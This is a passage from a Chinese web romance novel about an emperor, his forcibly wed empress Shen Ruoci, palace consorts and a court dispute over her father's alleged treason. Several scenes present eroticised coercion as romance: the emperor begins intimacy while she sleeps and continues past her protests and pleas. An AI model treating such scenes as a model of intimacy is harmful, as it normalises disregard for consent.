沈若辞像见到救星一般,心里刚小小雀跃了一下,就听皇帝淡淡地说,“那就安寝吧,省得折腾了。” 连嬷嬷上前替他更衣,却被制止皇帝制止,他拿眼瞧了瞧沈若辞,“让她来。” 沈若辞有些猝不及防,愣了一下才走上前去。 前段时间,连嬷嬷教过她好些规矩,更衣便是其中一项。她略微回忆一下过程,伸手去解他的腰带。 皇帝腰间并无其他佩饰,只有一枚洗得发白的香囊,上边绣着一匹骏马,看不出有什么特别之处。 沈若辞拿过腰带香囊,正待收起的时候,就闻到一股草药的香气,这香味跟连嬷嬷给的那个香囊如出一辙,她突然明白过来连嬷嬷的用意。 幸好香囊里只是普通的安神药物,于她有益无害,不然她也要跟着瞎遭罪,沈若辞一路想,一路已替皇帝褪下外袍。 他的身体有着流畅的线条,笔挺修长,她脑中忽地想起昨夜被他步步逼近的那一幕,没由来面红耳赤。 不过一想到后来他被连亦心叫走,当着她的面离开,又彻夜未归,便知他不过是做做样子,心底里没准有多厌烦她。 念及此,沈若辞也松了一口气。 褪下外袍后,她站在床边,等元栩先上床,她才小心翼翼地爬上床去,几乎是挨着床沿躺下,离他远远的,尽量不去讨他嫌。 她虽身子不好,也想多活几年。 帐幔放下来,屋中仍燃着大红色的龙凤喜烛,亮堂堂的。沈若辞在想这宫中的规矩真是奇怪,在民间只有洞房花烛夜需要燃高烛,没听过第二日也要的。她拉起被子盖好身子,安安静静地躺着。 元栩起初也安静地躺着,但等了许久,也不见旁边的人有丁点动静。 难道连嬷嬷就没有好好教导她吗? 她如今都成了他的皇后,怎还如此冷淡,不懂得要主动伺候枕边的君王? 这些年来,宫里头的妃子宫女,哪个不是拼了命想往他床上爬,奈何他眼界高,哪个都看不上。 大婚前他就着沈若辞就是了,可如今她是皇后,是他的妻子,难道不该主动邀宠吗? 他越等越是着急,越想越是气闷,最后也顾不得什么架子了,翻过身去盯着沈若辞,想让她萌生点该有的自觉性。 可是转身才发现,旁边的人早在他郁闷不已的时候,已经进入了梦香。 她竟然睡了?就这么睡了? 元栩一时想不过意,伸手就要去推她,手却不自觉地在要碰到她肩膀的时候停了下来,隔了一会才轻轻地落在那白净的脸颊,作势掐了一下。 沈若辞似乎感觉到被欺负了,卷翘的长睫毛轻颤了一下,元栩心虚地快速收回手。 她的脸颊盈润泛着光泽,小扇子般的睫毛乖顺地覆在眼帘,看起来秀气极了,不似平日里睁着眼睛那般妩媚明艳。 她呼吸浅浅的,睡容恬静。 帐幔中有淡淡的暖香,是她身上好闻的气息。元栩皱了皱眉头,不甘心地瞪了她半天,才缓缓地吐出一口气,躺回去睡觉了。 入夜渐凉,元栩平复了很久,才压下身体的燥意逐渐入睡。 沈若辞早已进入了梦境。 梦中她像昨日一般,依旧穿一身大红嫁衣,只是衣裳有大滩的脏污,让人感觉不适。 沈若辞听到哭声,注意力从嫁衣上抽离。 她偏头去看,偌大的宫殿里,一个人的背影孤零零的,披散着头发跌坐在地上。 “沿沿……” 叫的是她的小名。 她认识这人? 沈若辞好奇地往前走去,想要看清男人的脸,可是他垂着头,遮住了样貌,她没法看清楚。 “你,是谁啊?” 那人恍若未闻,动也不动一下。 沈若辞有些急了,连问了好几声,依然没法得到回复。她伸手去推他的手臂,却发现手掌穿过他的身体,并没有落在他身上。 咦? 沈若辞这才疑惑地抬起自己的手,看了又看,并没有异常之处。她起身往屋中的桌子走过去,发现身体竟然穿过桌面,丝毫不受阻拦。 她惊讶极了,迷迷糊糊地喊了一声,又觉得喉咙又干又渴,便开口道,“阿茉,口干,要喝水……” 她闭着眼睛,似乎仍在梦中。 朦胧中她感觉有人将她抱起来,喂了一口温热的参茶到嘴里,却有一半顺着脖子往下钻。 阿茉还在尚宫局学习规矩,喂茶的人自然不会是她。 元栩好不容易熬到入睡,就听见身旁起了动静。眼睛一睁,旁边的人嚷着要喝水。 他从来没伺候过人,但还是本能地倒了水回来,又将人抱在怀里,抬高水杯喂她喝水。 他连喂了三次,沈若辞才将杯中的参茶喝尽。 元栩心想伺候人也不是什么特别难的事情,他放下杯子,目光不经意落在她精致下颌,顺着浅浅的水痕往下。 胸口的小衣不知何时湿透,映出淡淡的粉色,他这才发现方才那杯水,有一半没有进她的嘴里,都被她的小衣喝了。 入秋气候干燥,元栩突然觉得今天夜里更甚,连他自己也渴得慌。他摸到见底的被子,往里边瞅了一眼,愈发觉得口干舌燥,视线又不自觉地回到那件濡湿的小衣上。 他无力地闭了闭眼睛,企图压下心中的欲念,都怪这女子生得太好,浑身上下哪一处都是佳品,几枝芍药花湿了水,妖冶艳丽,引人采撷。 做了这么多年的皇帝,元栩很少委屈自己,脑子里想什么,便做什么,他鬼使神差地俯下头。 奇怪的触感,时而温柔,时而强势。沈若辞梦中感觉到被打扰,她下意识伸手去推,缓缓的睁开惺忪的双眼——眼前的一幕,叫她又急又羞。 “你无耻!” 这话脱口而出,她捂着几乎被扯落的小衣,眼眶红了一圈。 那男人恬不知耻,好不容易松开她,似乎仍意味未尽地舔了舔嘴角,“沈若辞,朕就是喝一点水而已。” 沈若辞并没有辩解的机会。 湿衣服自然不能穿在身上,尤其是身子骨不好的人,他很贴心地替她除下湿透的衣物。又迫着她帮他也脱下贴身的衣物。 龙凤喜烛映照着她水盈盈的双眸,白玉无瑕的肌肤也透着粉色,沈若辞双颊滚烫,目光无措,不知道该往何处安放。 元栩终于见到她在大红色鸳鸯锦被上绽放的模样。他曾想过有这一天,他要命人将屋中灯火一一点上,要整个屋都亮堂堂的,用来看她。 陌生的情绪冲击着他的身体,眼下他反悔了,他甚至恼怒自己命人点上床边的龙凤喜烛。 沈若辞被他直白的目光看得无所适从,趁他不注意扯过锦被,却被他擒住手腕,只遮住半边身子。 柔嫩的肌肤,如冷玉一般泛起淡淡光,被大红色的锦被一衬,妖冶艳丽到极致。 作者有话说:伺候人也不是什么特别难的事情! 女儿:…… 第38章 元栩喉结滚了滚, 手腕轻轻一带,莹润嫩白从锦被中滑出,直接贴上他健硕的躯体, 娇香软玉撞个满怀。 暗夜无星,岳常安和锦云在门口昏昏欲睡之时, 屋中忽地传出一声惊呼,接下来就是女子又娇又媚的哭声。 岳常安跟锦云对视了一眼, 两手一拍,“干站着做什么, 还不快去叫人煮药!” 锦云愣了一下才反应过来,她笑着拍了一下自己的脑袋, “瞧我这脑子, 这就去, 这就去……”说完便小跑着去寻人煮药。 唉呀, 岳常安活动一把筋骨,仰头看了看夜空, 估计一时半会不会有他的事了, 可以回去睡个好觉先。 屋中云雨渐歇,沈若辞浑身脱了力气伏在元栩身上,眼眶哭得红红的,睫毛上还挂着一滴清泪。 元栩用唇去触碰她的长睫, 吻去泪珠,他手臂收紧,两个人贴得更紧了。 沈若辞身子轻颤了颤, 用哭哑了的声音央求道,“不要了……” 元栩一口咬住她嫣红的唇瓣,厮磨了一阵, 才不满道,“这身子就这般不经用?” 沈若辞深知对方与自己力量上的悬殊,却没想到过他不仅体力好,还恢复得很快、很迅速。此时在他上边,能清晰地感觉到那罪魁祸首又再次抬头,似乎想要卷土重来。 沈若辞累得什么话也说不出来了,一双雾蒙蒙的杏眸楚楚可怜地望着他,只希望他不要再来一次。 烛光落在她娇艳的脸庞,情.事过后,眉眼都染上春意,媚-态横生,元栩哪里受得住她这副样子,一时气血上头,差点又要把-持不住。 他从床上起来,扔了一张薄被到她身上,“黏黏糊糊的,皇后想,朕都不要。” 他倒是先嫌弃起人来了。 沈若辞心道也不知道是谁弄的,她身上那套衣裳早被揉得皱成一团,扔在一边,后来又被他弄脏了,根本穿不了。 她裹着被子,想等皇帝离开,她好叫锦云送件衣裳进来。哪知他简单清理了一下,就用被子将她人裹紧了,直接抱到了浴房。 一进浴房,浓浓药味扑面而来,沈若辞皱了皱眉头,打着商量的语气,“皇上,臣妾用清水洗洗就好了……” 元栩直接把人抱进了浴桶,“不成,要跟朕一起洗。” 浴间水雾弥漫,沈若辞趴在浴桶的边缘,额头冒出细细的汗珠,面色潮-红,指尖几近陷入木质的桶沿。 “皇上……要好、好了吗?” 她咬着唇,话说得断断续续,几乎被耳边的水声覆盖。 “别催。”他第一次伺候人,可没什么经验。往常自己沐浴,元栩不喜下人伺候,基本都是自己亲力亲为。清洗自己是轻车熟路,可伺候别人就又是另一回事了,况且被洗的还是个肤白貌美的女子。 洁白的布巾沾了药水,从她的颈项、后背一路往下,直到如山脉般蜿蜒耸起的,宛若成熟蜜-桃的臀部。元栩手上的动作忽地停下来,不悦道,“为何塌着腰?” 沈若辞不解,茫然地回头看他。 经过热水的蒸腾,她的脸被水气洇湿,连带眸子也湿漉漉的,“腰、怎么了?” 元栩呼吸骤然一紧,偏生她毫无自觉,偏着头等他回答。他一眼也看不得,咬着牙命令道,“不准看朕,转回去,闭嘴!” 沈若辞知道皇帝看不顺她,无论自己做什么说什么,只会引起他的不满,她依言默默地回过头去,只在心里企求他能早点结束。 可惜沈若辞并没有如愿,这场事后的清洗持续了小半个时辰,中途还加了两次热水。她的脸被药水蒸腾成樱粉,早先被皇帝连着折腾了两次,浑身绵-软无力,很快便撑不住睡着了。 元栩将人抱着出了浴房,放在火红的锦被上时,她已经一根手指头也不想动了。 二人折腾了大半夜,睡下的时候窗纸已微微泛白。打小时候起,元栩就习惯了一个人,这些年来做什么事都是一个人,一个人用膳,一个人入睡,一个人起床。可如今一觉醒来,感觉怀中抱着个人,这让他神色微微一变,手掌下意识上下摸索,竟是光滑如丝绸般的躯-体,他呼吸一窒,上手扒下锦被。 几缕细碎的发丝交叉覆在前额,小人儿脸颊莹白如玉,睡得正香甜。元栩思绪逐渐清醒,几乎是如释重负般地躺回床上,手上使劲,不由自主地搂紧那人。 躺到一半,仍觉得不够,又在她耳边低低唤了一声什么,才满足地躺回去。 头一沾枕头,就听到外边传来岳常安细小的声音,“皇上还没起吗?” 锦云压低声音回道,“没呢岳公公,您这都问几回了。” 岳常安声音听起来有些许烦躁,“这不是有贵人在等着嘛!” 元栩是习武之人,耳力极好,这些话都进了他的耳里。他垂眸看着沈若辞,片刻之后还是决定起身穿衣。 寝殿大门被打开,元栩从屋中走出来,岳常安等人正要跪拜,就被他伸手阻止。 “大清早的,何事?”他伸了个懒腰,边走边问。 岳常安抬眼望了望天空,一道白光刺得他眼睛眯了眯,这哪里是早晨呦,晌午都快过咯。 他紧跟皇帝的步伐,“皇上,容王殿下求见。” “他?” 岳常安本来低着头跟在皇帝身后,可这时他突然停了下来,在原地停顿了一会,才举步朝寝殿走去。 岳常安心想,容王殿下上一次来皇城也是两年前的事了,皇上有些许惊讶也是情理之中的事情。 元栩回寝殿梳洗一番,换了身衣裳,又吃了些东西,姗姗来迟地出现在茶园里。 容王殿下性子随和不羁,做事向来随心所欲,想一出是一出,想法行为自然与普通人不一样。就像现在,他觉得茶园里茶花开得正绚烂,与其在沉闷的宫殿里面面相觑,还不如来这茶园赏花品酒。 元栩站在凉亭外边,皱起眉头远远地看了他一眼,似乎有些不悦。不过也只是一眼,复又举步往凉亭里过去。 那等了大半个时辰的人,此时正闲坐在亭中赏花,手中不紧不慢地摇着折扇,一身青衣似水,见元栩绷着脸靠近,含着笑跟他打招呼,“皇弟。” 元栩对他这声亲切的招呼嗤之以鼻,不悦道,“你来做什么?” 元琛毫不见外,他一早便让宫人端来酒杯酒瓶,径自倒起酒来。 清冽的酒水自瓶中流出,很快填满白玉瓷杯。他递出一杯给元栩,“尝尝看,为兄亲手栽种,亲手酿造的梅子酒。” 元栩面上嫌弃,手掌却不由自主地接过酒杯。酒香混合着梅子香,清醇诱人。 他端着杯子把玩许久,却始终不肯喝上一口,“请你喝喜酒不来,现在不欢迎你来了,倒又自己送上门来。” 元琛不以为意,将杯中的酒一饮而尽,又慢条斯理地替自己斟上一杯,才缓缓开口,“这亲又不是你真心想成的,人也不是你真心想娶的,喝你那杯喜酒有什么意思?” 元栩没有反驳,只笑了一声,“你又知道?” 元琛一副了然于胸的模样,“这几年我在皇城的时间虽不多,但凡事都有耳闻,你跟沈相的关系剑拔弩张,这一点不至于不知道——” 还有一点元琛没有说出来,他与那民间女子的事,他也知道不少。 元栩简明扼要地打断他,“朕娶的人又不是沈相。” 沈相对小皇帝痛心疾首,恨铁不成钢的模样,就知道他肯定不会将女儿推入火坑,喜结连理的佳话肯定是不存在,唯一的可能只有强娶。 但这些也只是他的猜测,如今元栩毕竟长大了,又是掌权的帝王,做什么事都有自己的权衡,他没有操心的道理。 元琛不是操心的性子,他不喜欢烦恼的事情,“快喝酒吧,懒得同你胡扯。” 他端起酒杯,目光状似不经意地落在元栩身上。这几年,他身上的气质越来越沉稳,颇有帝王风范。先帝驾崩那年,他还是个孩子,哭哭啼啼地坐上皇位。一路走来,前有狼后有虎,风风雨雨,着实不易,好在如今一切都渐入佳境,他这个做哥哥的也能安心一点了。 元栩被他的目光看得不自在,轻咳一声,“咳……四哥到底因何事回来?” 元琛抽回思绪,跟他讲起来缘故,“此番边疆大捷,番邦元气大伤,短期内再无反扑的可能,眼下九皇叔已携众将领回皇城休整,四哥我也趁机来感受一下大家的喜气。” 元栩听他说话前言不搭后语,就知事情绝不是表面说的这么简单,“四哥不是一贯嫌九皇叔为人刻板顽固,以往一见他人就远远避开了,省得被他念叨个不停,怎地此番山长水远地跑回来,就图见他老人家一面,是觉得让他骂一顿才酣畅淋漓?” 这几句话将元易说得心底里一片灰暗。 九皇叔是什么样的人,他最清楚不过。他幼时好学聪慧,在皇家子弟中极为突出。偏年纪渐长,开始无心政途,只想做个闲散王爷四处游山玩水,从小看好他的九皇叔最为痛心疾首,也最看不惯这种“不争气”的晚辈,每回见他都要耳提面命地训斥一番,那程度丝毫不逊于沈相对小皇帝的屡屡劝谏。所以若非万不得已,他绝不会与九皇叔正面交锋,可惜事与愿违,日后要与这顽固老头打交道的事还多着。 好在他一早做好心里准备了,强行挤出几分笑意,“哪能,九皇叔是我们大魏的功臣,我崇敬他都来不及。作为晚辈被他念叨几句也是再正常不过的事,过几日接风宴记得捎上我。” 第39章 元栩只当他是说笑, 细细地品尝起杯中的青梅酒。 沈若辞睡到午后才醒,昨夜累坏了,醒来后浑身哪哪都觉得酸软, 好在精神不错,食欲也有增无减。 皇帝昨夜虽没有下狠手, 不似初次那般横冲直撞,却也让她吃了不少苦头。沈若辞揉了揉酸软的腰肢, 正想着父亲不知道在家里做什么,锦云就来禀报薛雪媚几人前来请安。 午后的阳光透过雕花窗棂, 在地面洒下破碎的光影。沈若辞心道这个时辰请的什么安,日头都出来大半天了。可她并没有让人回去, 毕竟她不是正经的皇后, 这些妃子都是皇帝的女人, 恐怕得罪不起。 她换了套衣裳, 就过去听人聊天。刚进门几个妃子就齐刷刷给她请安,沈若辞笑着应下了。 众人坐定后, 目光都不约而同地落在她脸上。一早听说皇帝昨夜留宿雪辉宫, 她们都嫉妒得咬牙切齿,恨不得插上翅膀立即飞过来瞧瞧。可此时见了人,发现她脸色微白,眼下泛着浅浅的乌青, 明显情绪不高,丝毫没有得宠后的春风得意,私下便都暗暗叫好。 看来也没有受宠, 白瞎了这样一副好样貌!薛雪媚笑得得意,丝毫不掩饰她心中的嘲讽。 相比之下,连亦兰则笑得含蓄多了, 她们这些先入宫的都没得宠,哪里轮到一个罪臣之女。 才刚坐定,宫女端了避子药药上来,“娘娘,喝药了。” 沈若辞端起碗小小抿了一口,药已经温温的,可以一口气咽下去了。 连亦兰盯着药碗问道,“皇后娘娘喝的什么药啊?” 沈若辞放下碗,拿起帕子擦了擦嘴,“没什么。”她顿了顿,不知道皇帝是否乐意让人知道她在喝避子药,又补充道,“一点温补的药物。” 说完立马又觉得自己欲盖弥彰了。 连亦兰同薛雪媚交换了一下眼色,似乎都心照不宣地知道她的什么药,没有再追问下去。 沈若辞见她二人都笑得奇奇怪怪,也不说话,便扯了个话题,“怎么不见淑妃?” “她呀,最近正得圣宠,没空来。”薛雪媚拿眼瞧了瞧连亦兰,二人相视一笑。 二人只笑不语,沈若辞不知道后宫里的曲曲折折,也没什么话好接,就只“嗯”了一声。 薛雪媚见她神色淡淡,甚至有些落寞,心里挺来劲,她从身旁绿衣宫女手上接过点心,一边摆弄上桌,一边状似不经意地说道,“自古帝王后宫佳丽三千,雨露均沾是再正常不过的事了,咱呀,还是别管太宽,吃点点心,说说笑才好呢。” 沈若辞本以为薛雪媚是个恃宠而骄的,没想到看得这么开。也是啊,这后宫女人多,日后会更多,计较多了便是给自己添堵。她顺手拿起糕点尝了一口,软糯香甜,有清新的果香,也不甜得鼾,配上刚刚沏好的碧螺春,简直是绝配。 薛雪媚事事都要展现出优越感,“做糕点的人是本宫从娘家带来的,宫里的厨子未必有这手艺。” 话说完,又朝四周环视了一圈,惊讶道,“皇后娘娘没有从家中带伺候的人过来吗?” 沈若辞不疑有他,如实答道,“阿茉还在尚宫局学习规矩,不知道多久才能回到本宫身边。” 宫里至今还没听说过,妃子陪嫁的贴身丫鬟,要去尚宫局学习规矩的,这样的话一听,就明白可能是皇帝故意刁难。 连亦兰放下糕点,似笑非笑道,“这事啊……娘娘还是亲口问皇上的好!” 薛雪媚顺着她的话附和道,“连妹妹说的对,要亲口问皇上,吹吹枕边风更好,没准皇上一开心就把人放出来了。” 她恨不得这蠢女人去触皇帝的逆鳞,才有好戏看呢。 沈若辞没想到元栩会吃这一套,想必这些妃子平日里没少做这事,她想阿茉出来,却也不想去奉承他,实在是左右为难。 况且,皇帝又不喜欢她,吹了枕边风恐怕也办不成事情。 连亦兰见她面露难色,心道这沈若辞还是惧怕皇帝的,恩宠不存在,自然吹不了枕边风。 几人闲坐了两刻钟,见沈若辞没有受宠的迹象,便也安心下来,不一会儿就借口离去。 暮色四合,华灯初上。 沈若辞用过晚膳后,便坐在庭院中的长廊里。大婚当夜被皇帝踢坏盆子的牡丹花,重新换了个红陶浮雕花盆,花仍开得好好的,娇艳欲滴。 纤纤玉手拨弄了一下花朵,软绵绵的,不似山茶花顽强。她拂了拂坐皱的裙摆,从长椅上起来,晚风吹得她手脚冰凉,需要洗个热水浴才好。 宫女一早备好了热水,就等着新皇后入浴。她们这些人都经过专业训练,雪辉宫里的大小事务,一概不准传出去半点风声,否则格杀勿论。 起初她们以为圣上要借机惩治沈家女,可经过了昨夜,这种想法却完全动摇了。大半夜里,寝殿里都是新皇后娇娇的低吟和柔弱的哭声,听得人心尖儿乱颤。 此时服侍她入浴,待衣衫解尽,雪峰绵软,腰肢纤细,雪肌上点点红痕让人浮想联翩。这模样哪里是受了折辱的样子,分明是……恩宠。 宫女红着脸将人扶进浴桶,手上握着绵帕正不知从何下手,还好连嬷嬷及时出现,从她们手中接过帕子。 水声渐起,沈若辞下巴搁在桶沿上,由着连嬷嬷给她擦背。 连嬷嬷见她发着呆,又想起今日的事,开口道,“娘娘若是真的想阿茉,就应该亲口求求皇上。”而不是去问不想干的人。 她闻言回过头来,双眸在水雾中亮闪闪的,“皇上会答应吗?” 连嬷嬷心头一软,“娘娘乖巧可人,有谁忍心拒绝呢。” 沈若辞摇摇头,她的确很少被人拒绝。可皇帝这人不一样,他恶劣得很,处处要为难她,恐怕不会答应。 连嬷嬷弯了弯唇,“娘娘不妨一试。” 沐浴过后,连嬷嬷拿了一身寝衣过来,沈若辞偷偷瞄了一眼,松了一口气,还好是普通的衣裳,不像昨夜穿上身那般……不要脸。 昨夜寝殿里的动静持续了大半宿,连嬷嬷心中便起了悔意,皇帝年轻气盛,皇后娇美无双,哪里需要她瞎操心。若是再给她这么瞎折腾下去,恐怕到时候早朝都不用上了。她可不想做这个罪人,还是规规矩矩的地给人穿好衣裳的好。 沈若辞这回可以大大方方地从浴房里出来,她思忖着皇帝今夜是否还会再来。按岳常安的说法,要同床共枕三夜,可第一夜就没有实现了,证明他也不是很在乎,没准今夜也不会来了。 可当她一脚踏入房中,昨夜那位把她往死折腾的男人,正坐在她的床头,翻看着书册。平日里束得整整齐齐的乌发,此时尽数散下来垂至身后。他的背靠着软枕,一双长腿随意地一屈一伸,整个人明明一副慵懒随意的样子,身体的线条依然流畅优美。 沈若辞不得不承认,这人长得是好看的,若是个普通人,嫁与他,也算是件赏心悦目的事情。可一想到这人的身份,他的所作所为,这外貌给人的好感,就半分不存了,她极不情愿地往前走了几步,“臣妾参见皇上。” 听到声响,元栩抬起头来,没看她一眼,指了指案上的衣裳,“换上。” 沈若辞心中忍不住“咯噔”一下,依言过去,才发现是自己想多了,是一身崭新的骑装。 可是这大半夜的,穿骑装做什么? 沈若辞望了望床上的人,他方才扔出两个字后,又埋头看书,根本没解释的意思,她只好去屏风后边换衣裳。 衣裳换好后,她倒是小小的惊喜了一下。这身骑装用料极佳不说,腰身也剪裁得当,细腰掐得像柳枝儿一样纤柔,一双玉腿匀称修长,配上鹿皮短靴,整个人轻盈活力。 沈若辞拿起马鞭,扬手甩了一下,仿佛此刻便是在郊野策马游玩,不自觉地笑出声来。 元栩曾见过她骑马,却没有见过她穿着骑装的模样。所以当沈若辞穿戴完毕,手握马鞭冲他盈盈一笑时,他的呼吸陡然停顿了一瞬。 那时候,他满眼都是那个清丽秀气的女子,看不上沈若辞这副模样,太过妖冶明艳,甚至一度觉得这面貌碍眼得很,虽与他心里的那个人相似,有着相似的神态,面貌却大相径庭。 显然,这张脸要漂亮上很多。元栩不否认自己也有过瞎了眼的时候,手中的书册不知道何时被扔到了一旁,他的注意力都在沈若辞身上,没忍住又多看了几眼。 沈若辞被他看得浑身不自在,这人只看不说,她忐忑地询问,“要不,脱下来?”没准这是他给哪个妃子做的,拉她来试穿一下。 话刚说完,那人依旧没有动静,沈若辞却从他眼中看到别样的深意,她后知后觉地回忆起方才脱口而出的话,在对上他的眼睛,那眼神就像在说“脱啊”。 她的脸刷的一下红了起来,无端想起昨夜,他用嘴一点一点地除去她身上最后的屏障,动作不快不慢,始终温温和和。如此不要脸的事,他也能做得慢条斯理,好似在完成一件风雅的事情,沈若辞却在他唇齿的厮磨下,被扯进一场风雨。 元栩见那笑得明媚的女子,双颊忽地泛起淡粉,手足也无措起来,如同昨夜在锦褥上完全绽放那般引人采撷。 “脱。”他揉了揉额角,不耐道。 第40章 她如释重负, 几乎是小跑着回到了屏风后。换完衣服回来的时候,皇帝已经在她的床上躺下,她往门口望了望, 迟疑一会儿还是轻手轻脚地向床边走过去。 今夜他睡在外边,她只能从床尾爬过去, 爬到床的内侧,然后安静地躺好。 可能身边突然多个人, 沈若辞并没有睡着,她想起白天连亦兰她们和连嬷嬷说过的话, 想知道阿茉何时能回来,要亲口问皇帝。她想, 问问也无妨。 于是, 她试着开口, “皇上?” 也不知道他睡了没, 眼皮轻轻地垂着,睫毛过分长, 像小刷子一样覆盖着眼帘, 看起来比她的还要卷翘。 沈若辞耐心等待他的回答,等了小半会儿,那人一根睫毛也没动一下,她有点失落地躺回去, 已经做好了那人已经睡着,她没机会开口的准备。才躺到一半,脑袋还没沾上枕头, 那头传来不大不小的一声“嗯”。 沈若辞被这意料之外的回应打乱了思绪,一时怔愣,她在怀疑是不是自己听错了。 “何事?” 那头稍显不耐地问了一声。 她原来没有听错, 这人真的醒着,沈若辞心中一喜,翻了个身趴在床上,抬着头小心翼翼地问,“皇上,阿茉何时能回到臣妾身边?” 她偏着头,极有耐心地等他回答。 皇帝依然一动不动,眼皮子也没抬一下,似乎不是很高兴她问出这个问题。 沈若辞一直觉得阿茉不过是个弱女子,留在她身边对他造不成任何威胁,他不至于连这点小事都要为难。 元栩忽地掀开眼皮,向她投去一道目光,而后缓缓开口,“阿茉这个名字太难叫了,朕叫着不顺口。” 沈若辞张了张嘴,竟然想不出话来回答,只是一脸错愕的看向他。 这是什么理由?难叫你大可以不叫啊。 元栩眼神淡淡的,她身边那个丫鬟,被她惯出性子来,不懂规矩不说,还容易冲动,这样的人压根儿不适合留她在身边。 沈若辞不放心阿茉一个人,她吸了吸鼻子,“那皇上打算如何处置阿茉?” 元栩皱眉看她,“是锦云她们伺候得不尽心?”才总是念着那丫鬟。 沈若辞怕牵连无辜的人,忙澄清道,“不是的,她们做得很好,都很用心。” 她一急,眼神便似化成一汪活水,微波粼粼,又有几分说不清道不明的楚楚可怜,仿佛被人冤枉到了,竟连眼尾也生出一抹薄红。 元栩想起昨夜,她也是这般无措,用央求的眼神望着他,被他作弄狠了,才气若游丝哭诉出来,“缓一缓,缓一缓……” 那声音恍若就在耳边,他的喉结情不自禁地滚动了一下,接下来便无情地截了她的话,“睡吧,很晚了。” 沈若辞话到嘴边,也不敢再追问下去,只好收嘴噤声。 隔天早晨,沈若辞醒来的时候,皇帝已经走了,只有身旁微微凹陷的被褥,还有淡淡草药香气暗示着那人昨夜睡过。 大婚休沐三日之后,元栩一早便去上早朝。 立后一事,几乎是快敲快落,众人知道的时候就已经是结果,所以今日众臣子一会面,各种言论甚嚣尘上,甚至有些人对皇后之位花落相府颇有微词。 沈相作为最直接的当事人,本该是全场议论的焦点,却告病在家休养,并未出现在今日早朝。 所以,平日里看不惯的沈相的大臣,弹劾起他来毫无压力。 袁国公第一个站出来,“皇上,沈相叛国一事尚未有结果,沈相逍遥法外,沈家女入主后宫,以臣愚见,恐有不妥。” 元栩早料到这帮臣子里肯定有人不会让他太好过,必然会提及此事,他早已想好应对的措辞。 “沈相一事,大理寺已彻查多日,并未找到任何叛国的罪证。国公爷如此信誓旦旦,莫非是有了新证据?叛国一事事关重大,如若掌握了线索,务必赶紧上报,切勿做包庇徇私之事。” 如此公正严明,袁国公竟一时语塞。 连骁也横插一脚,“沈相效忠我朝二十年,这二十年所做出的功绩,想必在座各位都有目共睹,叛国一事既无证据,那就不能活受这个罪名。但据臣所知,沈家女并不愿入宫,沈相也无意与皇家结亲,还请皇上遵从沈家人的意愿,莫要强人所难。” 沈相进宫讨要女儿一事,他早已知晓。起初连骁对沈若辞并没有执念,不过是见她貌美娇弱,家世又与他相当,便萌生了保护她、主宰她的念头。可本来他势在必得的小白兔,有一天突然多了势力相当的猎手,迅速并且准确地将其收入笼中,丝毫没有预兆,他的小白兔便成为别人的囊中之物。 那时候连骁才幡然醒悟,悔意顿生。早知如此,就该早早将她困于后宅,不至于要她成为棋子遭人利用。 “连将军是非分明,这点值得嘉赏。”元栩脸上还挂着微笑,但此时嘴边的笑意渐渐淡下去,眼神也晦暗不明起来,他盯着连骁看,不咸不淡继续说道,“朕的家务事,不劳舅舅操心。” 连骁干涉过他后宫的事,就是从来没这么上心过。他现在只要一闲下来,满脑子都是她杏眸湿润,眼尾泛着潮红,楚楚可怜的模样,仿佛在控诉他的不作为。 他咬紧牙关,忍下心头燥意,意图再次开口。这时候,皇帝却将目光落到薛展松身上。 “薛老将军有何见解?” 薛展松是薛太后的兄长,打过多场胜战,也曾风光无限。可惜天有不测风云,两年前独子战死沙场,他一夜之间白了头发,身体状况更是每况愈下。所幸独子成婚早,给他留下两个孙子,也不至于生无可恋,但也从战场上退下来。这些年,这些事,磨平了他原本刚直强势的性子,“老臣愚见,有罪重罚,无罪释放。叛国一事非同小可,可适当再采取一些措施。” 元栩知道薛展松的意思是要他继续盯紧沈相,切不可因目前没有叛国的证据,便对沈相放松警惕。 薛展松也无需说得太明白,毕竟皇帝比他更明白,能将沈家女纳入后宫,便是最好的证明。 元栩点头表示赞同,“还有一事,安都贪墨一案已查清,罪魁祸首的丁太守关押入狱,据他交代,所有贪污的钱财都流入了虞城。” 元栩特意加重了“虞城”二字,在场的人目光不由自主地落在一处,薛展松脸色微微一变。 虞城,正是元赫的封地。薛展松作为元赫的亲舅舅,多多少少牵扯其中。倘若他真的清白,也起到敲山震虎的作用。 元赫跟薛太后一直都很不安分,奈何没有做出什么出格的事情来,元栩也就睁一只眼闭一只眼,毕竟那人是他同父异母的亲弟弟。 手足相残,是最骇人听闻的,不到万不得已,他不愿意做出这种选择。 另一方面,元栩心里异常清楚,若有朝一日,元赫不念兄弟情义,势要与他作对,他断然也不会心慈手软。 身在皇家,最忌讳的事情之一,便是妇人之仁。 元栩下了早朝,便开始处理前几天堆积下来的奏折。小山一般的奏折被处理了大半,他从中抬头,揉了发涨的眉心,眯着眼睛缓解一下疲劳。 昨晚沈若辞小心翼翼地求他,想要那丫鬟回自己身边伺候,他不做考虑直接拒绝了。夜里她睡得不舒服,梦里都喊着丫鬟的名字,元栩缓缓睁开眼睛。 “常安。” 岳常安弯着腰身奉上刚泡的茶水,“皇上。” 元栩目光越过茶盏,望向他的人,“相府那丫鬟规矩学得怎么样了?” 岳常安手上动作一顿,半晌才想起皇帝指的是沈若辞带进宫来的阿茉,轻轻地放下茶盏,“阿茉姑娘学得挺好,不日便可以回娘娘身边。” 元栩沉思了一下,“明日开始,让她白天学规矩,夜里去雪辉宫里伺候。” 岳常安忙应下。 等批完奏折,元栩就前往雪辉宫用午膳。 早些时候岳常安就派人来雪辉宫里传话,皇上中午要跟皇后娘娘一起用膳。 由于这是帝后大婚后,皇上头一回过来用膳,众人都下足了功夫用心做好午膳的准备的工作。 沈若辞虽不熟悉宫里用膳的规矩,但是饭桌上的礼仪她还是熟稔于心的,是以皇帝没有入座之前,她也不敢先行上桌,只是在软榻上坐着等他。 好不容易等来了皇帝,原本安静的殿内又热闹起来,端饭的,上菜的,拉椅子的,大家又开始忙忙碌碌。 沈若辞朝元栩行礼之后,便转过身看向主座,“皇上请入座。” 元栩点点头,朝饭桌走过去。 早饭吃得少,沈若辞有些饿了,跟在元栩身后准备入座,却见他走到自己的座位前便停下来,而后撩起后摆毫无自觉地坐下去。 那可是她的椅子! 沈若辞动了动嘴唇,最终踌躇着站在原地举步不前。 元栩见她站着不动,一个眼风扫过来,“怎么,还不入座?” 在大魏,只要跟皇帝一起用膳的,就没人敢越过他去坐主座。 沈若辞认真地提醒道,“皇上,您坐的是臣妾的位置,您该坐……”《 》 40-50 第41章 她话还没说完, 元栩就笑了,“这座位朕先坐了,就是朕的, 沿沿慢了,就只能坐剩下的这个。” 